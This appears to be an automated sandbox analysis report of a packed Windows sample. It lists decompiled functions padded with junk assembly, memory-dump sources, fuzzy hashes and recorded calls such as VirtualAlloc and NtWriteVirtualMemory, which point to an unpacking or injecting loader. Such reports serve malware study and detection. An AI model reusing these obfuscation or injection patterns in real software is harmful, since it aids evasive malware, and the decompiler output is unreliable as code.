C-Code - Quality: 21%

			E004044C9(signed int __eax, signed int __edx, void* __edi, signed int __esi, void* __fp0) {
				signed int _t28;
				signed int _t30;
				signed int _t31;
				signed int _t34;
				void* _t77;
				void* _t78;
				void* _t80;
				intOrPtr _t82;
				void* _t124;
				void* _t126;
				signed char* _t127;
				signed int _t154;
				void* _t157;
				void* _t159;
				void* _t161;
				void* _t163;
				signed int _t234;
				void* _t236;
				signed int _t245;
				void* _t250;
				signed long long _t251;
				signed long long _t252;

				_t250 = __fp0;
				_t234 = __esi;
				_t154 = __edx;
				_t22 = __eax;
				if(__edi + 1 != 0) {
					_t22 = __eax | 0xd0d0d0d;
				}
				_t28 = _t22 | 0xffffffffcd8d0d0d;
				_t78 = _t77;
				_t30 = _t28;
				_t157 = (_t154 ^ 0x000012ff) - 0x19f6;
				_t126 = _t124;
				asm("packssdw mm4, mm2");
				asm("fld1");
				asm("punpckldq xmm2, xmm4");
				asm("fsincos");
				asm("fclex");
				asm("pcmpeqw xmm2, xmm4");
				asm("ftst");
				asm("wait");
				asm("paddsb xmm5, xmm1");
				asm("fdivrp st2, st0");
				asm("fnop");
				_t31 = _t30;
				_t159 = _t157 + 0x3f5 - 0xbbc;
				asm("punpcklwd xmm6, xmm1");
				asm("psubw mm2, mm6");
				asm("por xmm7, xmm7");
				_t80 = _t78;
				_t251 = _t250 - st5;
				asm("fyl2xp1");
				asm("lfence");
				asm("fchs");
				asm("pcmpeqw mm5, mm3");
				asm("fsqrt");
				asm("fnop");
				asm("fnop");
				_t161 = _t159 + 0x168b;
				asm("fnop");
				asm("fnop");
				asm("punpcklbw mm7, mm2");
				asm("fldl2e");
				asm("psllq xmm4, 0x9f");
				asm("psubd xmm3, xmm3");
				asm("movq mm0, mm4");
				asm("pandn mm4, mm0");
				asm("fprem");
				asm("fprem");
				_t163 = _t161;
				_t82 =  *((intOrPtr*)(_t80 + _t163));
				_t34 = _t31;
				asm("psrlq mm0, 0xb8");
				asm("psubusb xmm2, xmm6");
				_t252 = _t251 * st2;
				asm("fldpi");
				asm("fyl2x");
				asm("psubd mm0, mm6");
				asm("packsswb xmm1, xmm5");
				asm("fnop");
				goto L8;
				asm("fnop");
				asm("ror byte [ecx-0x762d7601], 1");
				 *((intOrPtr*)(_t127 - 0x26247601)) =  *((intOrPtr*)(_t127 - 0x26247601)) - 1;
				 *_t127 =  *_t127 >> 1;
				_t245 = _t234 |  *(_t236 - 0x69);
			}

0x004044c9
0x004044c9
0x004044c9
0x004044c9
0x004044cc
0x004044d8
0x004044d8
0x004044f4
0x00404506
0x0040450e
0x00404514
0x0040451a
0x0040451c
0x0040451f
0x00404521
0x00404525
0x00404527
0x00404529
0x0040452d
0x0040452f
0x00404530
0x00404534
0x00404577
0x00404587
0x0040458c
0x00404594
0x00404598
0x0040459b
0x0040459f
0x004045a1
0x004045a3
0x004045a5
0x004045a8
0x004045aa
0x004045ad
0x004045e4
0x004045f0
0x004045f2
0x004045f8
0x004045fe
0x00404602
0x00404605
0x00404607
0x0040460c
0x00404610
0x00404613
0x00404616
0x00404618
0x00404669
0x0040466b
0x00404672
0x00404674
0x00404678
0x0040467c
0x0040467e
0x00404680
0x00404682
0x00404685
0x004046c0
0x004046c0
0x0040471b
0x0040471c
0x00404722
0x00404728
0x0040472a

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d222a5c35f029df5dbc275c1116de24fcfa9d6b637a016d5f3b3c13c772c3c2
Instruction ID: 53c3e3c07a7e32f06aba4c7af6a07833c3ac13190fc25a9cc50e6a69b2bf8c4c
Opcode Fuzzy Hash: 5d222a5c35f029df5dbc275c1116de24fcfa9d6b637a016d5f3b3c13c772c3c2
Instruction Fuzzy Hash: D422BD62B1A7000BC75A94BE5890956D0C7CFEF250339E63A652DF37A5FEB9CD0B1148

Uniqueness

Uniqueness Score: -1.00%

Function 004045B2, Relevance: 2.2, APIs: 1, Instructions: 947memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 79554fea7bb00e2ecea001cb93dd793471e592cc5ef17780bf411fb353a01260
Instruction ID: cb2cadbdd82f9735658a9142e31e334db305eb0700cceffa3e9460f636bd61c8
Opcode Fuzzy Hash: 79554fea7bb00e2ecea001cb93dd793471e592cc5ef17780bf411fb353a01260
Instruction Fuzzy Hash: F922BD62B1A7000BC75A94BE5890956D0C7CFEF250239E63A692DF37A4FE7DCD0B1148

Uniqueness

Uniqueness Score: -1.00%

Function 004046EA, Relevance: 2.2, APIs: 1, Instructions: 923COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d90d4a66dc5a4ca63e8e88ea60035ff6a3c16a29071530845fc3ac6f347950b
Instruction ID: 642d89487d826050ee35fef211316bb4421e94cba43b0a26cd5232feab83ea06
Opcode Fuzzy Hash: 8d90d4a66dc5a4ca63e8e88ea60035ff6a3c16a29071530845fc3ac6f347950b
Instruction Fuzzy Hash: 9A22B062F1A7000BC76A547E5881866D0C7CFEB220639E63A692DF37A5EE7DCD0B154C

Uniqueness

Uniqueness Score: -1.00%

Function 0040461C, Relevance: 2.2, APIs: 1, Instructions: 912
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 34%

			E0040461C(signed int* __eax, signed int __ebx, signed int __esi, signed int __fp0) {
				signed int* _t24;
				signed char _t66;
				intOrPtr _t68;
				signed char* _t111;
				void* _t138;
				void* _t140;
				signed int _t207;
				void* _t209;
				signed int _t242;
				signed long long _t248;

				_t207 = __esi;
				_t66 = __ebx |  *__eax;
				asm("xlatb");
				_pop(ss);
				_t140 = _t138;
				_t68 =  *((intOrPtr*)(_t66 + _t140));
				_t24 = __eax;
				asm("psrlq mm0, 0xb8");
				asm("psubusb xmm2, xmm6");
				_t248 = __fp0 * st2;
				asm("fldpi");
				asm("fyl2x");
				asm("psubd mm0, mm6");
				asm("packsswb xmm1, xmm5");
				asm("fnop");
				goto L3;
				asm("fnop");
				asm("ror byte [ecx-0x762d7601], 1");
				 *((intOrPtr*)(_t111 - 0x26247601)) =  *((intOrPtr*)(_t111 - 0x26247601)) - 1;
				 *_t111 =  *_t111 >> 1;
				_t242 = _t207 |  *(_t209 - 0x69);
			}

0x0040461c
0x0040461c
0x0040461e
0x0040461f
0x00404669
0x0040466b
0x00404672
0x00404674
0x00404678
0x0040467c
0x0040467e
0x00404680
0x00404682
0x00404685
0x004046c0
0x004046c0
0x0040471b
0x0040471c
0x00404722
0x00404728
0x0040472a

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4e4fdc393bd7b59208e7d7144599c63c5aee5e6b62e4a2779147acb5a970a804
Instruction ID: f21b83f389ae34cce99ab574af674147973b32a7f54449e460aae804edc41412
Opcode Fuzzy Hash: 4e4fdc393bd7b59208e7d7144599c63c5aee5e6b62e4a2779147acb5a970a804
Instruction Fuzzy Hash: 7222BE62B1A7000BC75A947E5890856D0C7CFEF250339E63A692DF37A4FE79CD0B1548

Uniqueness

Uniqueness Score: -1.00%

Function 0040468B, Relevance: 2.1, APIs: 1, Instructions: 881
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 66%

			E0040468B(signed int __eax, void* __ebx, signed int __edi, signed int __esi, void* __fp0) {
				signed int _t133;
				signed int _t134;
				void* _t175;
				signed char* _t218;
				signed int _t266;
				signed int _t333;
				void* _t335;
				signed int _t343;
				void* _t348;

				_t348 = __fp0;
				_t333 = __esi;
				_t175 = __ebx;
				asm("out 0x93, al");
				_t133 = __eax / __edi / __edi / __edi / __edi / __edi / __edi / __edi / __edi / __edi / __edi / __edi / __edi / __edi / __edi / __edi / __edi / __edi / __edi / __edi / __edi / __edi;
				_t134 = _t133 / __edi;
				_t266 = _t133 % __edi;
				 *(_t134 - 0x2f263f77) =  !( *(_t134 - 0x2f263f77));
				asm("fnop");
				goto L2;
				asm("fnop");
				asm("ror byte [ecx-0x762d7601], 1");
				 *((intOrPtr*)(_t218 - 0x26247601)) =  *((intOrPtr*)(_t218 - 0x26247601)) - 1;
				 *_t218 =  *_t218 >> 1;
				_t343 = _t333 |  *(_t335 - 0x69);
			}

0x0040468b
0x0040468b
0x0040468b
0x0040468b
0x004046b8
0x004046ba
0x004046ba
0x004046bc
0x004046c0
0x004046c0
0x0040471b
0x0040471c
0x00404722
0x00404728
0x0040472a

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7b2ab85ee04813b4f97aafbf757d6c8bbaa76c14cece6881b965121c587db021
Instruction ID: 364fb4efb840a693f53cb0a6ab0ea60a25064411ddebf37f8c8e1e198684096c
Opcode Fuzzy Hash: 7b2ab85ee04813b4f97aafbf757d6c8bbaa76c14cece6881b965121c587db021
Instruction Fuzzy Hash: B612BD62B2A7000BC75A947E5890956D0C7CFEF260239E63A692DF37A4FE7DCD0B1548

Uniqueness

Uniqueness Score: -1.00%

Function 00404839, Relevance: 2.1, APIs: 1, Instructions: 858COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b83ab218292e173e0c052324bdafe2d64c047608f3a74d7127208f1313f85f7b
Instruction ID: 11f5de62b4b81c3ea052453c7c8a121697b26bc92f9631eea59883d1812532b4
Opcode Fuzzy Hash: b83ab218292e173e0c052324bdafe2d64c047608f3a74d7127208f1313f85f7b
Instruction Fuzzy Hash: D322E066B197404BD76A607E548046794C38FEF211329EA3A652DF3BA4FEBDCD0B118C

Uniqueness

Uniqueness Score: -1.00%

Function 00404753, Relevance: 2.1, APIs: 1, Instructions: 841memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 897604cd30bd2190719f6a2e8227e794ff41ee9b4c0049d89d2d8607fd48da51
Instruction ID: b9d0088d288b91cdaff343d70de41111cf39170abb43f9fc27884e7a7562a56a
Opcode Fuzzy Hash: 897604cd30bd2190719f6a2e8227e794ff41ee9b4c0049d89d2d8607fd48da51
Instruction Fuzzy Hash: 8012BE62B2A7000BC75A947E5890956D0C3CFEF260239E63A692DF37A4FE7DCD4B1548

Uniqueness

Uniqueness Score: -1.00%

Function 004047C4, Relevance: 2.1, APIs: 1, Instructions: 815memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 800e142ffd7f5931eda0768b67c6a91d6864d3aba2e34f55167c83373b340f3a
Instruction ID: 9a6cf0c7d15ca67d688724515aaf66012fbd99d189850d5ef91ab2e40f0a0e0b
Opcode Fuzzy Hash: 800e142ffd7f5931eda0768b67c6a91d6864d3aba2e34f55167c83373b340f3a
Instruction Fuzzy Hash: A502BE62B2A7000BC75A947E5890956D0C7CFEF260239E63A682DF37A4FE7DCD4B1548

Uniqueness

Uniqueness Score: -1.00%

Function 004048AA, Relevance: 2.0, APIs: 1, Instructions: 795memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1acd6da437db39246c93f2bede4f1860f0ea4c3e4953d80485aa42bed83554d8
Instruction ID: 2c3cb36c1244218b52b3aaa6a4e072e1f130cd6dfa80568e9df60aecc6b2e5e4
Opcode Fuzzy Hash: 1acd6da437db39246c93f2bede4f1860f0ea4c3e4953d80485aa42bed83554d8
Instruction Fuzzy Hash: 0402AD62B2A7000BC75A947E5890956D0C7CFEB260239E63A682DF37A4FE7DCD4B154C

Uniqueness

Uniqueness Score: -1.00%

Function 00404915, Relevance: 2.0, APIs: 1, Instructions: 769memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6c681b80cd4104d5a63018d629e5d6c385c27472c70b30adc84099fb2648cf0d
Instruction ID: 5cc1824f0fa25b1fc3c0cbd89057dc667fb50c0e65440c43b560efec19be9438
Opcode Fuzzy Hash: 6c681b80cd4104d5a63018d629e5d6c385c27472c70b30adc84099fb2648cf0d
Instruction Fuzzy Hash: DEF1BE62B2A7000BC75A947E5890956D0C7CFEB260239E63A682DF37A4FE7DCD4B154C

Uniqueness

Uniqueness Score: -1.00%

Function 004049F8, Relevance: 2.0, APIs: 1, Instructions: 723memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 744fbaf9b8fc3ce1fe504b553fd6d88d44b413ff2f6650c6a57552358641303e
Instruction ID: 1df873b404f7fc2d5e31171649d54646cb92a25e4825d8cd6c21ed7d2d32cd84
Opcode Fuzzy Hash: 744fbaf9b8fc3ce1fe504b553fd6d88d44b413ff2f6650c6a57552358641303e
Instruction Fuzzy Hash: 0AF1AE62F2A7000B875A947E589095AD0C7CFEF250239E63A682DF37A4FE7DCD4B1548

Uniqueness

Uniqueness Score: -1.00%

Function 00404987, Relevance: 2.0, APIs: 1, Instructions: 703memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0e946456dfd951decc85db8449e844ac3430880bf44334b7a545fd011ced3c6b
Instruction ID: a9812a4c58b18328e45aed69e2edec5bc546a5373f1ac1ab69b002dcb0d9ffc8
Opcode Fuzzy Hash: 0e946456dfd951decc85db8449e844ac3430880bf44334b7a545fd011ced3c6b
Instruction Fuzzy Hash: 08F1AE62B2A7000BC75A947E5890956D0C7CFEF260239E63A682DF37A4FE7DCD4B1548

Uniqueness

Uniqueness Score: -1.00%

Function 00404A65, Relevance: 1.9, APIs: 1, Instructions: 685memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fc4c1eed759f316b7b46687990256df8e6e8c5d55d79293b44cf471b49cf307f
Instruction ID: 2f7cbe556122ed312cfe581a664ca7be3ce3070f7db4019fe5025ca309e4058c
Opcode Fuzzy Hash: fc4c1eed759f316b7b46687990256df8e6e8c5d55d79293b44cf471b49cf307f
Instruction Fuzzy Hash: 57E1BF62F2A7000BC75A947E589085AD0C7CFEB251239E63A682DF37A4FE7DCD0B1548

Uniqueness

Uniqueness Score: -1.00%

Function 00404B27, Relevance: 1.9, APIs: 1, Instructions: 653memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f2d4f2c53061be4b0c7d29effba68b99ed810356fc0825e3d87943d4c6a9d3c6
Instruction ID: 721eca9f3e00ac386e82cbb93ec0e272c0bb633e4567214a0f2d536b00e4ea64
Opcode Fuzzy Hash: f2d4f2c53061be4b0c7d29effba68b99ed810356fc0825e3d87943d4c6a9d3c6
Instruction Fuzzy Hash: F5D19E62F2A7000B876A547E589085AD0C7CFEB251239E63E682DF37A4FE7DCD4B1548

Uniqueness

Uniqueness Score: -1.00%

Function 022A13B6, Relevance: 1.9, APIs: 1, Instructions: 384COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 48626e2c2b6af9972d13945d179f3c57ae32cb352ca9e7debe86c6a810f33470
Instruction ID: 0b8cc43afa8d47d879e6ec84d1729731333e689f820f02d5256397e3a5cd2b77
Opcode Fuzzy Hash: 48626e2c2b6af9972d13945d179f3c57ae32cb352ca9e7debe86c6a810f33470
Instruction Fuzzy Hash: 4AD14771710702EFE7149FA8CDA0BD6B3A1FF05360F544228EC9993A84CB74A869CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00404AC5, Relevance: 1.9, APIs: 1, Instructions: 624memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 351bc31112069edb48a66e3fd64a6262c9d11cfc33b18ccb62a50ce7223b40ab
Instruction ID: 8bb7802315e81cbec8bc2bff92febe94a06cfbe290953f7c9ad308c0bc543d64
Opcode Fuzzy Hash: 351bc31112069edb48a66e3fd64a6262c9d11cfc33b18ccb62a50ce7223b40ab
Instruction Fuzzy Hash: 04E1BE62B2A7000BC76A547E589085AD0C3DFEB251239E63E682DF37A4FE7DCD4B1548

Uniqueness

Uniqueness Score: -1.00%

Function 00404B98, Relevance: 1.9, APIs: 1, Instructions: 613memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1eef739b248235417f638d8aae44ac0ae47f1410b0809f6135085a3c7c79c3c9
Instruction ID: 5d5d4adf5e9d926cd9089c96cbd8cd6cf755538e3e5738255bf54a3fa13d3912
Opcode Fuzzy Hash: 1eef739b248235417f638d8aae44ac0ae47f1410b0809f6135085a3c7c79c3c9
Instruction Fuzzy Hash: 0AD1AD62F2A7000BC76A547E589085AD0C7CFEB251239E63A682DF37A4FE7DCD4B1548

Uniqueness

Uniqueness Score: -1.00%

Function 00404C77, Relevance: 1.8, APIs: 1, Instructions: 578COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76588fde11023bc91731ec9147118fe10d11b15db75b1ae1ecdbc071a5f86dac
Instruction ID: 3668127a810f9260b040c88b58b030f597463ca68dacd47a67c6c8b330bbe044
Opcode Fuzzy Hash: 76588fde11023bc91731ec9147118fe10d11b15db75b1ae1ecdbc071a5f86dac
Instruction Fuzzy Hash: 6DD1DE62B1A7004BD76A54BE5490856D0C3CFEB25023AE63E692DF37A4FE7D8C0B558C

Uniqueness

Uniqueness Score: -1.00%

Function 00404CDD, Relevance: 1.8, APIs: 1, Instructions: 518memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: eb8aae8a9a6e0f1e54413a86e6d5cc2bfd454e01d8814a8445d25d30397e893a
Instruction ID: 162ebb16426bf8bab938d206b3e389c64517ec18cad1c05aa8215b2a695fbb10
Opcode Fuzzy Hash: eb8aae8a9a6e0f1e54413a86e6d5cc2bfd454e01d8814a8445d25d30397e893a
Instruction Fuzzy Hash: FBC19E62B1A7000B876A54BE589085AD1C3CFEB251239E63E682DF37A4FE7DCD4B1548

Uniqueness

Uniqueness Score: -1.00%

Function 00404DAA, Relevance: 1.7, APIs: 1, Instructions: 499memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 222da47a2d234fef099a9470e82eca92dcdb828bd412a7a83a8ba7149a6c14ec
Instruction ID: d0d9ac2a5a281fadd8b6d825a4e506253346de40be7595d0cae582c6de4aa296
Opcode Fuzzy Hash: 222da47a2d234fef099a9470e82eca92dcdb828bd412a7a83a8ba7149a6c14ec
Instruction Fuzzy Hash: FCB1BE62B2A7000BC76A547E589085AD1C7CFEB251239E63E682DF37A4FE7DCD0B1548

Uniqueness

Uniqueness Score: -1.00%

Function 022A2018, Relevance: 1.7, APIs: 1, Instructions: 247nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 022A236A

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: c01b03d6bd1bf91901e6827fb62da59f1bcf72c5e89ed4712b2aca05bdaa0b9f
Instruction ID: d4b9ef3cdadff94c260376b25990f4e46fe0344c055e379051124d87bd12a7c9
Opcode Fuzzy Hash: c01b03d6bd1bf91901e6827fb62da59f1bcf72c5e89ed4712b2aca05bdaa0b9f
Instruction Fuzzy Hash: 34717F721D02159FEB618E54EC66BE93622EF46710F500728ED849FDA1CBB784D4CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00404E11, Relevance: 1.7, APIs: 1, Instructions: 487memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5f14929e30c6889c7e74fda330895e9e95955139a3c24fbec229c5d7dc328c14
Instruction ID: b438049ea0a7b8800409250520693759d2c26934988f058189befb1fbe1b707f
Opcode Fuzzy Hash: 5f14929e30c6889c7e74fda330895e9e95955139a3c24fbec229c5d7dc328c14
Instruction Fuzzy Hash: 12A1AE62B297000BC75A54BE549085AD0C3DFEB251239E63E682DF37A4FE7D8D0B1548

Uniqueness

Uniqueness Score: -1.00%

Function 00404D43, Relevance: 1.7, APIs: 1, Instructions: 480memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
